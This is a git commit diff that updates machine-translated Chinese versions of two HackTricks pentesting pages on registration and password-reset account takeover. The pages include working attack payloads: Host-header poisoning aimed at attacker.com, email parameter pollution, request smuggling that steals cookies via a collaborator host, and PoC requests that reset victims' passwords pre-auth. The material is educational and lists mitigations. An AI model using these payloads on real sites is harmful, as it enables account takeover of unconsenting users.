Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:23:39 +00:00
parent 24b975659d
commit 051697386e
2 changed files with 171 additions and 136 deletions

View File

@ -1,77 +1,78 @@
# 注册与接管漏洞
# Registration & Takeover Vulnerabilities
{{#include ../banners/hacktricks-training.md}}
## 注册接管
## Registration Takeover
### 重复注册
### Duplicate Registration
- 尝试使用现有用户名生成
- 检查不同的电子邮件
- 大写字母
- 尝试使用一个已存在的 username 进行注册
- 检查变换 email 的不同形式
- 大写
- \+1@
- 在电子邮件中添加一些点
- 电子邮件名称中的特殊字符 (%00, %09, %20)
- 在电子邮件后放置黑色字符: `test@test.com a`
- 在 email 中添加一些点
- 在 email 名称中使用特殊字符 (%00, %09, %20)
- 在 email 后放置空白字符:`test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### 用户名枚举
### Username Enumeration
检查您是否可以判断用户名是否已在应用程序中注册。
检查是否能判断某个 username 是否已在应用中注册。
### 密码策略
### Password Policy
创建用户时检查密码策略(检查是否可以使用弱密码)。\
在这种情况下,您可以尝试暴力破解凭据
创建用户时检查密码策略(查看是否允许使用弱密码)。
在这种情况下,你可以尝试对凭据进行 bruteforce
### SQL 注入
### SQL Injection
[**查看此页面** ](sql-injection/index.html#insert-statement)以了解如何通过 **SQL 注入** 在注册表单中尝试账户接管或提取信息。
[**Check this page** ](sql-injection/index.html#insert-statement)了解如何通过 **SQL Injections** 在注册表单中尝试 account takeovers 或提取信息。
### Oauth Takeovers
### Oauth 接管
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML 漏洞
### SAML Vulnerabilities
{{#ref}}
saml-attacks/
{{#endref}}
### 更改电子邮件
### Change Email
注册后尝试更改电子邮件,并检查此更改是否经过正确验证或是否可以更改为任意电子邮件
注册后尝试更改 email检查该更改是否被正确验证或是否能更改为任意 email
### 更多检查
### More Checks
- 检查是否可以使用 **一次性电子邮件**
- **长** **密码** (>200) 导致 **DoS**
- **检查账户创建的速率限制**
- 使用 username@**burp_collab**.net 并分析 **回调**
- 检查是否可以使用 **disposable emails**
- **Long** **password** (>200) 会导致 **DoS**
- 检查账号创建的速率限制
- 使用 username@**burp_collab**.net 并分析 **callback**
## **密码重置接管**
## **Password Reset Takeover**
### 通过引荐者泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 请求将密码重置到您的电子邮件地址
2. 点击密码重置链接
3. 不要更改密码
4. 点击任何第三方网站例如FacebookTwitter
1. 向你的 email 地址请求 password reset
2. 点击 password reset 链接
3. 不要更改 password
4. 点击任何第三方网站例如Facebook, twitter
5. 在 Burp Suite 代理中拦截请求
6. 检查 referer 头是否泄露密码重置令牌
6. 检查 referer header 是否会 leak password reset token
### 密码重置中毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. 在 Burp Suite 中拦截密码重置请求
2. 在 Burp Suite 中添加或编辑以下头部: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 转发带有修改头部的请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host 头_ 的密码重置 URL例如 `https://attacker.com/reset-password.php?token=TOKEN`
1. 在 Burp Suite 中拦截 password reset 请求
2. 在 Burp Suite 中添加或编辑以下 headers`Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 使用修改后的 header\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host header_ 的 password reset URL例如`https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -88,58 +89,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### API 参数中的 IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
2. 启动Burp Suite并拦截请求
3. 将其发送到重发器选项卡并编辑参数用户ID/电子邮件\
1. 攻击者需使用自己的账户登录并进入 **更改密码** 功能。
2. 启动 Burp Suite 并拦截请求
3. 将其发送到 repeater 选项卡并编辑参数User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### 弱密码重置 token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
密码重置令牌应该是随机生成的,并且每次都是唯一的。\
尝试确定令牌是否过期或是否总是相同,在某些情况下,生成算法较弱,可以被猜测。以下变量可能被算法使用。
密码重置 token 应该是随机生成且每次唯一。\
尝试判断 token 是否会过期或是否始终相同,在某些情况下生成算法很弱且可被猜测。以下变量可能被算法使用。
- 时间戳
- 用户ID
- 用户的电子邮件
- 名和姓
- 用户邮箱
- 名和姓
- 出生日期
- 加密
- 仅数字
- 小令牌序列(字符在\[A-Z,a-z,0-9]之间)
- 令牌重用
- 令牌过期日期
- 较短的 token 序列 ( characters between \[A-Z,a-z,0-9])
- token 重用
- token 过期时间
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 使用API/UI触发特定电子邮件的密码重置请求例如test@mail.com
2. 检查服务器响应并查看`resetToken`
3. 然后在URL中使用令牌例如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. 通过 API/UI 触发针对特定邮箱的密码重置请求例如test@mail.com
2. Inspect the server response and check for `resetToken`
3. 然后在 URL 中使用该 token例如 `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### 通过用户名碰撞重置密码 <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 使用与受害者用户名相同的用户名在系统中注册,但在用户名前后插入空格。例如:`"admin "`
2. 使用您的恶意用户名请求密码重置。
3. 使用发送到您电子邮件的令牌重置受害者的密码。
4. 使用新密码连接到受害者账户。
1. 在系统上注册一个与受害者用户名相同但在用户名前后插入空格的用户名。例如:`"admin "`
2. 使用你恶意的用户名请求密码重置。
3. 使用发送到你邮箱的 token 重置受害者密码。
4. 使用新密码登录受害者账户。
平台CTFd对此攻击存在漏洞。\
见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### 通过 Cross Site Scripting 劫持账户 <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 在应用程序或子域中找到XSS如果cookies的作用域是父域:`*.domain.com`
2. 泄露当前**会话cookie**
3. 使用cookie作为用户进行身份验
1. 在应用或子域中找到 XSS如果 cookies 被 scope 到父域:`*.domain.com`
2. Leak the current **sessions cookie**
3. 使用该 cookie 以该用户身份认
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### 通过 HTTP Request Smuggling 劫持账户 <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. 使用**smuggler**检测HTTP请求走私的类型CL, TE, CL.TE\
1\. 使用 **smuggler** 检测 HTTP Request Smuggling 的类型 (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`\
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取他们的cookies\
3\. 最终请求可能看起来像以下内容
2\. 构造一个请求,`POST / HTTP/1.1` 覆盖为以下数据\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 目标是打开重定向,将受害者引导到 burpcollab 并窃取他们的 cookies\
3\. 最终请求可能如下所示
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -155,25 +156,46 @@ Hackerone 报告利用此漏洞\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### 通过 CSRF 账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. 创建 CSRF 的有效载荷,例如:“自动提交的 HTML 表单用于密码更改
2. 发送有效载荷
1. 为 CSRF 创建一个 payload例如“HTML form with auto submit for a password change
2. 发送该 payload
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### 通过 JWT 账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token 可能用于验证用户
JSON Web Token 可能用于对用户进行身份验证。
- 使用另一个用户 ID / 电子邮件编辑 JWT
- 检查弱 JWT 签名
- 用另一个 User ID / Email 编辑 JWT
- 检查是否存在 JWT 签名
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## 参考
## 注册即重置 (Upsert on Existing Email)
一些注册处理程序在提供的 email 已存在时会执行 upsert。如果该 endpoint 接受仅包含 email 和 password 的最小 body 并且不强制进行所有权验证,发送受害者的 email 将在未认证状态下覆盖他们的密码。
- 发现:从捆绑的 JS或移动应用流量收集 endpoint 名称,然后使用 ffuf/dirsearch fuzz 类似 /parents/application/v4/admin/FUZZ 的基路径。
- 方法提示:一个 GET 返回诸如 "Only POST request is allowed." 的消息通常表明正确的请求动词并且预期是 JSON body。
- 在实战中观察到的最小 body
```json
{"email":"victim@example.com","password":"New@12345"}
```
示例 PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
影响:完全的账户接管 (ATO),无需任何 reset token、OTP 或电子邮件验证。
## 参考资料
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Reset/Forgotten Password Bypass
# 重置/忘记密码 绕过
{{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer**
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**:可能通过 Cross-Site Request Forgery (CSRF) 攻击导致账户接管。
- **Exploitation**:要检查密码重置令牌是否正在在 referer header 中 leaking向你的邮箱请求密码重置并点击提供的重置链接。**不要立即更改你的密码**。相反,在使用 **Burp Suite 拦截请求** 的同时,**访问第三方网站**(例如 Facebook 或 Twitter。检查请求查看 **referer header 是否包含密码重置令牌**,因为这可能会将敏感信息暴露给第三方。
- HTTP referer header 可能会 leak password reset token如果该 token 被包含在 URL 中。当用户在请求 password reset 后点击第三方网站的链接时,可能会发生这种情况。
- **Impact**:可能通过 Cross-Site Request Forgery (CSRF) 攻击导致账户接管。
- **Exploitation**:要检查 password reset token 是否在 referer header 中泄露,先向你的邮箱 **request a password reset**,然后 **click the reset link**。**不要立即修改你的密码**。相反,在 **使用 Burp Suite 拦截请求** 的同时,**导航到第三方网站**(例如 Facebook 或 Twitter。检查请求查看 **referer header 是否包含 password reset token**,因为这可能会将敏感信息暴露给第三方。
- **References**
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -14,12 +14,12 @@
## **Password Reset Poisoning**
- 攻击者可能会在密码重置请求期间操纵 Host header使重置链接指向恶意站点。
- **Impact**这可能导致账户接管,因重置令牌被 leaking 给攻击者。
- 攻击者可能在 password reset 请求中操纵 Host header将 reset link 指向恶意站点。
- **Impact**可能导致账户被接管by leaking reset tokens 给攻击者。
- **Mitigation Steps**
- 验证 Host header 是否在允许域名的白名单中
- 使用安全的服务端方法生成绝对 URL。
- **Patch**:使用 `$_SERVER['SERVER_NAME']` 来构建密码重置 URL而不是 `$_SERVER['HTTP_HOST']`
- 将 Host header 与允许域名的白名单进行验证
- 使用安全的服务端方法生成绝对 URL。
- **Patch**:使用 `$_SERVER['SERVER_NAME']` 来构建 password reset URLs而不是使用 `$_SERVER['HTTP_HOST']`
- **References**
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -27,59 +27,59 @@
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- 添加攻击者邮箱作为第二个参数,使用 &
- Add attacker email as second parameter using &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- 将 attacker email 添加为第二个参数,使用 %20
- 添加 attacker email 作为第二个参数,使用 %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- 将 attacker email 作为第二个参数,使用 | 分隔
- 添加攻击者邮箱作为第二个参数,使用 |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- 添加攻击者邮箱作为第二个参数,使用 cc
- 添加 attacker email 作为第二个参数,使用 cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
将 attacker 邮箱作为第二个参数,通过 bcc 添加。
- 添加 attacker email 作为第二个参数,使用 bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- 添加攻击者邮箱作为第二个参数,使用 ,
- 将攻击者邮箱作为第二个参数添加,使用 ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- 将攻击者邮箱作为 json array 的第二个参数添加
- 在 json array 中将 attacker email 添加为第二个参数
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **缓解步骤**:
- 在服务器端正确解析并验证 email 参数。
- 使用 prepared statements 或 parameterized queries 来防止 injection attacks
- 在服务器端正确解析并验证电子邮件参数。
- 使用 prepared statements 或 parameterized queries 来防止注入攻击
- **参考资料**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **通过 API 参数更改任意用户的 email 和 password**
## **通过 API 参数更改任意用户的电子邮件和密码**
- 攻击者可以在 API 请求中修改 email 和 password 参数以更改账户凭证
- 攻击者可以在 API 请求中修改电子邮件和密码参数,从而更改账户凭据
```php
POST /api/changepass
[...]
@ -87,36 +87,36 @@ POST /api/changepass
```
- **缓解措施**:
- 确保严格的参数验证和身份验证检查。
- 实施可靠的日志记录和监控,以检测并响应可疑活动。
- **参考**:
- 实施强健的日志记录和监控,以检测并响应可疑活动。
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **No Rate Limiting: Email Bombing**
- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
- 在 password reset 请求上缺乏 rate limiting 可能导致 Email Bombing使用户被大量重置邮件淹没。
- **缓解措施**:
- Implement rate limiting based on IP address or user account.
- Use CAPTCHA challenges to prevent automated abuse.
- 基于 IP address 或用户账号实施 rate limiting。
- 使用 CAPTCHA 挑战以防止自动化滥用。
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Find out How Password Reset Token is Generated**
- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- 了解 token 生成的模式或方法可能导致预测或暴力破解 token。部分可能性
- 基于时间戳
- 基于 UserID
- 基于用户的 email
- 基于 Firstname and Lastname
- 基于 Date of Birth
- 基于加密学
- **缓解措施**:
- Use strong, cryptographic methods for token generation.
- Ensure sufficient randomness and length to prevent predictability.
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
- 使用强的、基于加密学的方法生成 token。
- 确保足够的随机性和长度以防止可预测性。
- **Tools**: 使用 Burp Sequencer 分析 token 的随机性。
## **Guessable UUID**
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
- 如果 UUIDs (version 1) 可猜测或可预测,攻击者可能通过暴力破解生成有效的 reset tokens。检查
{{#ref}}
@ -124,54 +124,54 @@ uuid-insecurities.md
{{#endref}}
- **缓解措施**:
- Use GUID version 4 for randomness or implement additional security measures for other versions.
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
- 对于需要随机性的场景使用 GUID version 4或对其他版本实现额外的安全措施。
- **Tools**: 使用 [guidtool](https://github.com/intruder-io/guidtool) 来分析和生成 GUIDs。
## **Response Manipulation: Replace Bad Response With Good One**
- Manipulating HTTP responses to bypass error messages or restrictions.
- 操作 HTTP responses 以绕过错误消息或限制。
- **缓解措施**:
- Implement server-side checks to ensure response integrity.
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
- 实施 server-side 检查以确保 response 的完整性。
- 使用像 HTTPS 这样的安全通信通道防止中间人攻击。
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Using Expired Token**
- Testing whether expired tokens can still be used for password reset.
- 测试过期 token 是否仍可用于 password reset。
- **缓解措施**:
- Implement strict token expiration policies and validate token expiry server-side.
- 实施严格的 token 过期策略,并在 server-side 验证 token 是否过期。
## **Brute Force Password Reset Token**
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
- 尝试使用像 Burpsuite 和 IP-Rotator 之类的工具暴力破解 reset token以绕过基于 IP 的 rate limits。
- **缓解措施**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
- 实施强健的 rate-limiting 和账户锁定机制。
- 监控表明暴力破解攻击的可疑活动。
## **Try Using Your Token**
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
- 测试攻击者的 reset token 是否可以与受害者的 email 一起使用。
- **缓解措施**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
- 确保 tokens 绑定到用户 session 或其他用户特有属性。
## **Session Invalidation in Logout/Password Reset**
- Ensuring that sessions are invalidated when a user logs out or resets their password.
- 确保用户登出或重置密码时会使会话失效。
- **缓解措施**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
- 实施正确的会话管理,确保在 logout 或 password reset 时使所有会话失效。
## **Session Invalidation in Logout/Password Reset**
- Reset tokens should have an expiration time after which they become invalid.
- Reset tokens 应有过期时间,超过该时间后应失效。
- **缓解措施**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
- 为 reset tokens 设定合理的过期时间并在 server-side 严格执行。
## **OTP rate limit bypass by changing your session**
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
- 如果网站使用用户 session 来跟踪错误的 OTP 尝试并且 OTP 较弱 ( <= 4 digits),则我们可以有效地对 OTP 进行暴力破解。
- **exploitation**:
- just request a new session token after getting blocked by the server.
- 在被服务器阻止后,只需请求一个新的 session token。
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
``` python
@ -233,7 +233,7 @@ print("[+] Attck stopped")
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
一些实现会暴露一个 password change action该 action 以 skipOldPwdCheck=true 调用 password-change 例程但不验证任何 reset token 或账户所有权。如果 endpoint 接受像 change_password 这样的 action 参数并在请求体中包含 username/new password攻击者可以在 pre-auth 情况下重置任意账户。
Vulnerable pattern (PHP):
```php
@ -255,7 +255,7 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
利用请求 (概念):
Exploitation 请求(概念):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
缓解措施:
- 在更改密码之前,始终要求有效的、具有时限的重置令牌reset token该令牌应绑定到账户和会话。
- 不要向未认证的用户暴露 skipOldPwdCheck 路径;对常规的密码更改强制要求认证并验证旧密码。
- 始终在更改密码之前要求存在一个有效的、绑定到账户和会话且有时效的重置令牌
- 永远不要向未经过身份验证的用户暴露 skipOldPwdCheck 路径;对于常规密码更改,强制进行身份验证并验证旧密码。
- 在密码更改后使所有活动会话和重置令牌失效。
## Registration-as-Password-Reset (Upsert on Existing Email)
一些应用将 signup handler 实现为 upsert。如果邮箱已存在handler 会静默更新用户记录,而不是拒绝请求。当 registration endpoint 接受包含已存在邮箱和新密码的最小 JSON body 时,它实际上会变成一个 pre-auth password reset且没有任何所有权验证从而允许完全的 account takeover。
Pre-auth ATO PoC (overwriting an existing user's password):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## 参考资料
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}